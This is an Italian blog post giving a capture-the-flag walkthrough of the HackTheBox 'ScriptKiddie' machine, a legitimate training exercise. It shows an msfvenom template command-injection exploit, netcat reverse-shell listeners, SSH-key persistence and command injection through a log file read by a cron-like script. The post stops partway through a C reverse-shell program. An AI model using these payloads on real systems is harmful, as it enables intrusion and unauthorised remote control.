{"id":2323,"date":"2021-05-28T10:52:52","date_gmt":"2021-05-28T09:52:52","guid":{"rendered":"http:\/\/www.olografix.org\/frank\/wordpress\/?p=2323"},"modified":"2021-06-05T18:53:00","modified_gmt":"2021-06-05T17:53:00","slug":"tutto-sommato-sono-scarso","status":"publish","type":"post","link":"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/?p=2323","title":{"rendered":"tutto sommato, sono scarso :)"},"content":{"rendered":"\n<p>c&#8217;ho perso cos\u00c3\u00ac tanto tempo che vale la pena farci un post&#8230;.<\/p>\n\n\n\n<p>come dicevo quasi esattamente <a rel=\"noreferrer noopener\" href=\"http:\/\/www.olografix.org\/frank\/wordpress\/?p=2158\" data-type=\"URL\" target=\"_blank\">l&#8217;anno scorso<\/a>, ho deciso di buttarmi un po&#8217; pi\u00c3\u00b9 seriamente nell&#8217;affascinante mondo dell&#8217;ethical hacking (&#8230;)<\/p>\n\n\n\n<p>il mio impegno di routine (ah, come amo la routine. com&#8217;\u00c3\u00a8 <em>rassicurante<\/em>) \u00c3\u00a8 cercare di fare una VM a settimana su hackthebox.eu<\/p>\n\n\n\n<p>l&#8217;ultima \u00c3\u00a8 stata ScriptKiddie. di livello <strong>FACILE<\/strong>. in teoria<\/p>\n\n\n\n<p>la VM in questione \u00c3\u00a8 ancora attiva, per cui.. se stai leggendo, vuol dire che ti ho dato la password \ud83d\ude00<\/p>\n\n\n\n<p>cominciamo.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># nmap -T4 -p- -oN 01_nmap.txt 10.10.10.226\n# Nmap 7.91 scan initiated Tue May 25 23:12:28 2021 as: nmap -T4 -p- -oN 01_nmap.txt 10.10.10.226\nNmap scan report for 10.10.10.226\nHost is up (0.048s latency).\nNot shown: 65533 closed ports\nPORT     STATE SERVICE\n22\/tcp   open  ssh\n5000\/tcp open  upnp\n<\/code><\/pre>\n\n\n\n<p>andiamo leggermente pi\u00c3\u00b9 a fondo:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># nmap -T4 -p22,5000 -A -oN 02_nmap.txt 10.10.10.226\n# Nmap 7.91 scan initiated Tue May 25 23:25:56 2021 as: nmap -T4 -p22,5000 -A -oN 02_nmap.txt 10.10.10.226\nNmap scan report for 10.10.10.226\nHost is up (0.044s latency).\n\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey:\n|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)\n|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)\n|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)\n5000\/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)\n|_http-server-header: Werkzeug\/0.16.1 Python\/3.8.5\n|_http-title: k1d'5 h4ck3r t00l5\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 443\/tcp)\nHOP RTT      ADDRESS\n1   43.92 ms 10.10.14.1\n2   44.17 ms 10.10.10.226\n\n<\/code><\/pre>\n\n\n\n<p>chiaramente mi dirigo via browser sulla porta 5000:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"640\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk1-1024x640.png\" alt=\"\" class=\"wp-image-2327\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk1-1024x640.png 1024w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk1-300x188.png 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk1-768x480.png 768w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk1-1536x960.png 1536w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk1.png 1920w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>provo a farmi un <code>nmap <\/code>da solo \ud83d\ude42 metto il mio ip, e in effetti ricevo lo scan dal sito remoto:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"337\" height=\"229\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk2.png\" alt=\"\" class=\"wp-image-2328\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk2.png 337w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk2-300x204.png 300w\" sizes=\"auto, (max-width: 337px) 100vw, 337px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code># tcpdump -i tun0 -nn not port 5000\ntcpdump: verbose output suppressed, use -v or -vv for full protocol decode\nlistening on tun0, link-type RAW (Raw IP), capture size 262144 bytes\n10:19:47.626618 IP 10.10.10.226.35770 &gt; 10.10.14.28.80: Flags &#91;S], seq 1822080011, win 64240, options &#91;mss 1357,sackOK,TS val 3575408215 ecr 0,nop,wscale 7], length 0\n10:19:47.626655 IP 10.10.14.28.80 &gt; 10.10.10.226.35770: Flags &#91;R.], seq 0, ack 1822080012, win 0, length 0\n10:19:47.626675 IP 10.10.10.226.47216 &gt; 10.10.14.28.443: Flags &#91;S], seq 2628818854, win 64240, options &#91;mss 1357,sackOK,TS val 3575408215 ecr 0,nop,wscale 7], length 0\n10:19:47.626690 IP 10.10.14.28.443 &gt; 10.10.10.226.47216: Flags &#91;R.], seq 0, ack 2628818855, win 0, length 0\n10:19:47.671060 IP 10.10.10.226.33122 &gt; 10.10.14.28.111: Flags &#91;S], seq 2417941658, win 64240, options &#91;mss 1357,sackOK,TS val 3575408260 ecr 0,nop,wscale 7], length 0\n10:19:47.671113 IP 10.10.14.28.111 &gt; 10.10.10.226.33122: Flags &#91;S.], seq 4074904182, ack 2417941659, win 65160, options &#91;mss 1460,sackOK,TS val 1882515510 ecr 3575408260,nop,wscale 7], length 0\n..\n..\n..\n<\/code><\/pre>\n\n\n\n<p>mi concentro poi sul secondo &#8220;blocco&#8221;, vedo che la generazione del payload per Linux fallisce sempre, quindi passo a Windows:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"454\" height=\"363\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk3.png\" alt=\"\" class=\"wp-image-2329\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk3.png 454w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk3-300x240.png 300w\" sizes=\"auto, (max-width: 454px) 100vw, 454px\" \/><\/figure>\n\n\n\n<p>si riesce a generare un payload:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"433\" height=\"196\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk4.png\" alt=\"\" class=\"wp-image-2330\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk4.png 433w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk4-300x136.png 300w\" sizes=\"auto, (max-width: 433px) 100vw, 433px\" \/><\/figure>\n\n\n\n<p>che si pu\u00c3\u00b2 scaricare da:<\/p>\n\n\n\n<p><code>http:\/\/10.10.10.226:5000\/static\/payloads\/1cc2ae72ad1d.exe<\/code><\/p>\n\n\n\n<p>ma non ci si fa granch\u00c3\u00a9.<\/p>\n\n\n\n<p>su \/static e \/payloads si ottiene un bel &#8220;Not Found&#8221;.<\/p>\n\n\n\n<p>ma a che servir\u00c3\u00a0 quel &#8220;template&#8221;?<\/p>\n\n\n\n<p>per fortuna mi \u00c3\u00a8 venuto in mente abbastanza presto di cercare &#8220;venom exploit template&#8221;, e ho trovato questo:<\/p>\n\n\n\n<p><a href=\"https:\/\/www.rapid7.com\/db\/modules\/exploit\/unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection\/\">https:\/\/www.rapid7.com\/db\/modules\/exploit\/unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection\/<\/a><\/p>\n\n\n\n<p>da <code>msfconsole<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 &gt; use exploit\/unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection<\/code><\/pre>\n\n\n\n<p>le opzioni sono poche ed intuitive:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 exploit(unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection) &gt; show options\n\nModule options (exploit\/unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection):\n\n   Name      Current Setting  Required  Description\n   ----      ---------------  --------  -----------\n   FILENAME  msf.apk          yes       The APK file name\n\n\nPayload options (cmd\/unix\/reverse_netcat):\n\n   Name   Current Setting  Required  Description\n   ----   ---------------  --------  -----------\n   LHOST  192.168.88.10    yes       The listen address (an interface may be specified)\n   LPORT  4444             yes       The listen port\n\n   **DisablePayloadHandler: True   (no handler will be created!)**\n<\/code><\/pre>\n\n\n\n<p>ho impostat LHOST sull&#8217;ip della mia VPN con hackthebox ( <code>set LHOST 10.10.14.28<\/code> ) e la porta (non so perch\u00c3\u00a9 l&#8217;ho voluta cambiare \ud83d\ude42  <code>set LPORT 5555<\/code> ), e ho generato il file:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf6 exploit(unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection) &gt; set LHOST 10.10.14.28\nLHOST =&gt; 10.10.14.28\nmsf6 exploit(unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection) &gt; set LPORT 5555\nLPORT =&gt; 5555\nmsf6 exploit(unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection) options\n\nModule options (exploit\/unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection):\n\n   Name      Current Setting  Required  Description\n   ----      ---------------  --------  -----------\n   FILENAME  msf.apk          yes       The APK file name\n\n\nPayload options (cmd\/unix\/reverse_netcat):\n\n   Name   Current Setting  Required  Description\n   ----   ---------------  --------  -----------\n   LHOST  10.10.14.28      yes       The listen address (an interface may be specified)\n   LPORT  5555             yes       The listen port\n\n   **DisablePayloadHandler: True   (no handler will be created!)**\n\n\nExploit target:\n\n   Id  Name\n   --  ----\n   0   Automatic\n\n\nmsf6 exploit(unix\/fileformat\/metasploit_msfvenom_apk_template_cmd_injection) &gt; run\n\n&#91;+] msf.apk stored at \/root\/.msf4\/local\/msf.apk\n<\/code><\/pre>\n\n\n\n<p>a questo punto ho messo in ascolto la porta 5555 sulla mia &#8220;attacker machine&#8221;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>root@kali:\/opt\/htb\/ScriptKiddie# nc -nlvp 5555\nlistening on &#91;any] 5555 ...\n<\/code><\/pre>\n\n\n\n<p>e ho provato ad usare il tool, stavolta buttandoci dentro il mio &#8220;malicious template&#8221;:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"559\" height=\"342\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk5.png\" alt=\"\" class=\"wp-image-2332\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk5.png 559w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk5-300x184.png 300w\" sizes=\"auto, (max-width: 559px) 100vw, 559px\" \/><\/figure>\n\n\n\n<p>(su lhost ho messo un ip a cazzo, perch\u00c3\u00a9 tanto ero convinto che avrebbe funzionato la reverse shell generata dall&#8217;apk di cui sopra), e infatti:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>root@kali:\/opt\/htb\/ScriptKiddie# nc -nlvp 5555\nlistening on &#91;any] 5555 ...\nconnect to &#91;10.10.14.28] from (UNKNOWN) &#91;10.10.10.226] 44180\n<\/code><\/pre>\n\n\n\n<p>boom, siamo dentro \ud83d\ude42<\/p>\n\n\n\n<p>ahim\u00c3\u00a9 come utenti NON privilegiati:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"630\" height=\"166\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk6.jpg\" alt=\"\" class=\"wp-image-2333\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk6.jpg 630w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk6-300x79.jpg 300w\" sizes=\"auto, (max-width: 630px) 100vw, 630px\" \/><\/figure>\n\n\n\n<p>mettiamoci subito comodi con una shell &#8220;umana&#8221; (<code>bash -i<\/code>)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"781\" height=\"112\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk7.jpg\" alt=\"\" class=\"wp-image-2334\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk7.jpg 781w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk7-300x43.jpg 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk7-768x110.jpg 768w\" sizes=\"auto, (max-width: 781px) 100vw, 781px\" \/><\/figure>\n\n\n\n<p>in <code>\/home\/kid\/user.txt<\/code> ho trovato il flag, e l&#8217;ho submittata su htb \ud83d\ude42<\/p>\n\n\n\n<p>per stare ANCORA PIU&#8217; COMODO, ho messo in <code>authorized_keys<\/code> la mia chiave pubblica, e poi mi sono ricollegato sulla VM in ssh (ricordate? nmap mostrava 22\/TCP aperta)<\/p>\n\n\n\n<p>sulla mia kali ho spawnato un webserver python al volo:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"849\" height=\"179\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk8.jpg\" alt=\"\" class=\"wp-image-2335\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk8.jpg 849w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk8-300x63.jpg 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk8-768x162.jpg 768w\" sizes=\"auto, (max-width: 849px) 100vw, 849px\" \/><\/figure>\n\n\n\n<p>e ho scaricato dalla VM victim la chiave, copiando nel posto giusto:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"794\" height=\"386\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk9.jpg\" alt=\"\" class=\"wp-image-2336\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk9.jpg 794w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk9-300x146.jpg 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk9-768x373.jpg 768w\" sizes=\"auto, (max-width: 794px) 100vw, 794px\" \/><\/figure>\n\n\n\n<p>ok, ora sono veramente felice \ud83d\ude42<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"684\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk10.jpg\" alt=\"\" class=\"wp-image-2337\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk10.jpg 768w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk10-300x267.jpg 300w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure>\n\n\n\n<p>dando un&#8217;occhiata in giro, si vede la presenza di un altro user, il che significa chiaramente che bisogna fare &#8220;<em>lateral movement<\/em>&#8221; prima di fare <strong>PRIVESC <\/strong>\ud83d\ude42<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ cd \/home\/\nkid@scriptkiddie:\/home$ ls -l\ntotal 8\ndrwxr-xr-x 12 kid kid 4096 May 28 08:01 kid\ndrwxr-xr-x  6 pwn pwn 4096 Feb  3 12:06 pwn\n<\/code><\/pre>\n\n\n\n<p>si nota la presenza di uno script <code>scanlosers.sh<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ cd \/home\/pwn\/\nkid@scriptkiddie:\/home\/pwn$ ls -l\ntotal 8\ndrwxrw---- 2 pwn pwn 4096 May 28 07:10 recon\n-rwxrwxr-- 1 pwn pwn  250 Jan 28 17:57 scanlosers.sh\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:\/home\/pwn$ cat scanlosers.sh\n#!\/bin\/bash\n\nlog=\/home\/kid\/logs\/hackers\n\ncd \/home\/pwn\/\ncat $log | cut -d' ' -f3- | sort -u | while read ip; do\n    sh -c \"nmap --top-ports 10 -oN recon\/${ip}.nmap ${ip} 2&gt;&amp;1 &gt;\/dev\/null\" &amp;\ndone\n\nif &#91;&#91; $(wc -l &lt; $log) -gt 0 ]]; then echo -n &gt; $log; fi<\/code><\/pre>\n\n\n\n<p>quindi, prende il terzo campo (separato da spazio) del file <code>\/home\/kid\/logs\/hackers<\/code> e ci lancia nmap contro.<\/p>\n\n\n\n<p>\u00c3\u00a8 simpatica l&#8217;opportunit\u00c3\u00a0 di provarlo \ud83d\ude42<\/p>\n\n\n\n<p>rimetto in ascolto tcpdump sulla mia VM:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>root@kali:~# tcpdump -i tun0 -nn not port 5000 and not port 22\n<\/code><\/pre>\n\n\n\n<p>genero il file:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:\/home\/pwn$ echo 'a b 10.10.14.28' &gt; \/home\/kid\/logs\/hackers\nkid@scriptkiddie:\/home\/pwn$\n<\/code><\/pre>\n\n\n\n<p>e infatti ricevo ho ricevuto lo scan (verificando sempre con <code>tcpdump -i tun0 -nn not port 5000 and not port 22<\/code>)<\/p>\n\n\n\n<p>da qui in poi ho perso 2 notti.<\/p>\n\n\n\n<p>una cosa simpatica che mi era venuta in mente (visto che la VM si chiama &#8220;Scriptkiddie&#8221; che fa pensare all&#8217;opzione di <code>nmap<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>-oS filespec (ScRipT KIdd|3 oUTpuT)\n           Script kiddie output is like interactive output, except that it is post-processed to better suit the l33t HaXXorZ who previously looked down on Nmap due to its consistent\n           capitalization and spelling. Humor impaired people should note that this option is making fun of the script kiddies before flaming me for supposedly \u00e2\u20ac\u0153helping them\u00e2\u20ac\u009d.<\/code><\/pre>\n\n\n\n<p>ho dato un&#8217;occhiata su https:\/\/gtfobins.github.io\/ , in merito a nmap appunto, e ho trovato questo:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"819\" height=\"355\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk12.jpg\" alt=\"\" class=\"wp-image-2340\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk12.jpg 819w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk12-300x130.jpg 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk12-768x333.jpg 768w\" sizes=\"auto, (max-width: 819px) 100vw, 819px\" \/><\/figure>\n\n\n\n<p>ho pensato: magari provo ad eseguire qualcosa con l&#8217;utente <code>pwn<\/code>, manipolando il contenuto del file <code>\/home\/kid\/logs\/hackers<\/code><\/p>\n\n\n\n<p>intanto ho fatto una prova, dopo aver copiato lo script <code>scanlosers.sh<\/code> nella home di <code>kid<\/code>.<\/p>\n\n\n\n<p>ho creato un semplice script nse (come l&#8217;esempio di gtfobins), in modo da verificare che &#8220;funzionasse&#8221;, ad esempio scrivendo l&#8217;output del comando <code>id <\/code>dentro <code>\/tmp<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ echo 'os.execute(\"\/usr\/bin\/id &gt; \/tmp\/kid.txt\")' &gt; \/tmp\/kidscript.nse\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ nmap --top-ports 10 --script=\/tmp\/kidscript.nse 127.0.0.1\nStarting Nmap 7.80 ( https:\/\/nmap.org ) at 2021-05-28 09:06 UTC\nNSE: failed to initialize the script engine:\n\/usr\/bin\/..\/share\/nmap\/nse_main.lua:621: \/tmp\/kidscript.nse is missing required field: 'action'\nstack traceback:\n        &#91;C]: in function 'error'\n        \/usr\/bin\/..\/share\/nmap\/nse_main.lua:621: in field 'new'\n        \/usr\/bin\/..\/share\/nmap\/nse_main.lua:823: in local 'get_chosen_scripts'\n        \/usr\/bin\/..\/share\/nmap\/nse_main.lua:1310: in main chunk\n        &#91;C]: in ?\n\nQUITTING!\n<\/code><\/pre>\n\n\n\n<p>in barba all&#8217;errore, il file \u00c3\u00a8 stato generato:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ cat \/tmp\/kid.txt\nuid=1000(kid) gid=1000(kid) groups=1000(kid)\n<\/code><\/pre>\n\n\n\n<p>da qui, ho perso veramente troppo tempo.<\/p>\n\n\n\n<p> con l&#8217;utente <code>kid <\/code>sembrava funzionare come mi aspettavo (lo script <code>scanlosers.sh<\/code> l&#8217;ho leggermente modificato per usare i path relativi a <code>kid<\/code>)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ cat scanlosers.sh\n#!\/bin\/bash\n\nlog=\/home\/kid\/test\n\ncd \/home\/kid\/\ncat $log | cut -d' ' -f3- | sort -u | while read ip; do\n    sh -c \"nmap --top-ports 10 -oN recon\/${ip}.nmap ${ip} 2&gt;&amp;1 &gt;\/dev\/null\" &amp;\ndone\n\nif &#91;&#91; $(wc -l &lt; $log) -gt 0 ]]; then echo -n &gt; $log; fi\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ echo 'a b 10.10.14.28 --script=\/tmp\/kidscript.nse' &gt; \/home\/kid\/test\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ sh scanlosers.sh\nscanlosers.sh: 10: &#91;&#91;: not found\nkid@scriptkiddie:~$ NSE: failed to initialize the script engine:\n\/usr\/bin\/..\/share\/nmap\/nse_main.lua:621: \/tmp\/kidscript.nse is missing required field: 'action'\nstack traceback:\n        &#91;C]: in function 'error'\n        \/usr\/bin\/..\/share\/nmap\/nse_main.lua:621: in field 'new'\n        \/usr\/bin\/..\/share\/nmap\/nse_main.lua:823: in local 'get_chosen_scripts'\n        \/usr\/bin\/..\/share\/nmap\/nse_main.lua:1310: in main chunk\n        &#91;C]: in ?\n\nQUITTING!\n\n<\/code><\/pre>\n\n\n\n<p>e il file \u00c3\u00a8 stato creato:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ cat \/tmp\/kid.txt\nuid=1000(kid) gid=1000(kid) groups=1000(kid)\n<\/code><\/pre>\n\n\n\n<p>non sono riuscito a fare altrettanto con utente pwn.<\/p>\n\n\n\n<p>sbirciando (purtroppo) sul forum ufficiale, ho visto che si parlava di pspy; non ricordavo di averlo gi\u00c3\u00b9 usato. \u00c3\u00a8 un tool che permette di avere una visione pi\u00c3\u00b9 chiara dei processi in tempo reale.<\/p>\n\n\n\n<p>ho scaricato da qui la versione statica a 64bit:<\/p>\n\n\n\n<p><a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/DominicBreuker\/pspy\" target=\"_blank\">https:\/\/github.com\/DominicBreuker\/pspy<\/a><\/p>\n\n\n\n<p>l&#8217;ho copiata sulla VM victim con la stessa tecnica del web server Python, e l&#8217;ho eseguito:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"935\" height=\"926\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk13.jpg\" alt=\"\" class=\"wp-image-2342\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk13.jpg 935w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk13-300x297.jpg 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk13-150x150.jpg 150w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk13-768x761.jpg 768w\" sizes=\"auto, (max-width: 935px) 100vw, 935px\" \/><\/figure>\n\n\n\n<p>ma non ho avuto fortuna:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ echo 'a b 10.10.14.28 --script=\/tmp\/kidscript.nse' &gt; \/home\/kid\/logs\/hackers\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"125\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk14-1024x125.jpg\" alt=\"\" class=\"wp-image-2343\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk14-1024x125.jpg 1024w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk14-300x36.jpg 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk14-768x93.jpg 768w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk14-1536x187.jpg 1536w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk14.jpg 1842w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>&#8230;perch\u00c3\u00a9 chiaramente il comando <code>nmap <\/code>si &#8220;rompe&#8221; in quando non viene trovato <code>\/tmp\/kidscript.nse.<strong>nmap<\/strong><\/code>.<\/p>\n\n\n\n<p>dopo 2 serate \ud83d\ude42 ho cambiato leggermente strada, abbandonando la via degli script nse e usando semplicemente bash:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kid@scriptkiddie:~$ echo 'a b ;\/bin\/bash -c \"ping -c 3 10.10.14.28\"' &gt; \/home\/kid\/logs\/hackers\n<\/code><\/pre>\n\n\n\n<p>facendo cos\u00c3\u00ac, ha funzionato: lato mio ho ricevuto i 3 ping:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"952\" height=\"148\" src=\"http:\/\/www.olografix.org\/frank\/wordpress\/wp-content\/uploads\/sk15.jpg\" alt=\"\" class=\"wp-image-2344\" srcset=\"https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk15.jpg 952w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk15-300x47.jpg 300w, https:\/\/olografix.sugodipesce.net\/frank\/wordpress\/wp-content\/uploads\/sk15-768x119.jpg 768w\" sizes=\"auto, (max-width: 952px) 100vw, 952px\" \/><\/figure>\n\n\n\n<p>con il traditional netcat non ho avuto fortuna  (anche qui \ud83d\ude42<\/p>\n\n\n\n<p>al che, mi sono veramente rotto i coglioni e ho compilato una reverse shell in C, presa da qui:<\/p>\n\n\n\n<p><a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Methodology%20and%20Resources\/Reverse%20Shell%20Cheatsheet.md#c\" target=\"_blank\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Methodology%20and%20Resources\/Reverse%20Shell%20Cheatsheet.md#c<\/a><\/p>\n\n\n\n<p>(chiaramente ho impostato il mio indirizzo e la porta 6666)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h&gt;\n#include &lt;sys\/socket.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;netinet\/in.h&gt;\n#include &lt;arpa\/inet.h&gt;\n\nint main(void){\n    int port = 6666;\n    struct sockaddr_in revsockaddr;\n\n    int sockt = socket(AF_INET, SOCK_STREAM, 0);\n    revsockaddr.sin_family = AF_INET;\n    revsockaddr.sin_port = htons(port);\n    